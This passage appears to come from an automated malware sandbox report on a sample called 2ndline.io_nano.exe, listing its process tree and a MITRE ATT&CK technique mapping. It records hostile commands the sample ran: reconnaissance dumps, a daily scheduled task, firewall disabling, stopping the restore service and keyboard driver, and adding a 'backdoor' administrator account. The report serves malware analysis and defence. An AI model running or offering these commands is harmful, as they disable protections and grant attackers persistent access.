  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1548
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2708
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2552
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:632
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4316
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3896
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:636
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4708
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1600
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2384
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3316
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:4240
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2ndline.io_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4272
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4900
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3708
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4540
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1240
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2572
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3784
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1852
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3044
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:1108
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:2160
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:4448
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:4340
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:824

C:\Users\Admin\AppData\Local\Temp\2ndline.io_nano.exe
C:\Users\Admin\AppData\Local\Temp\2ndline.io_nano.exe
1⤵
PID:3356

C:\Users\Admin\AppData\Local\Temp\2ndline.io_nano.exe
C:\Users\Admin\AppData\Local\Temp\2ndline.io_nano.exe
1⤵
PID:4720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:644

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery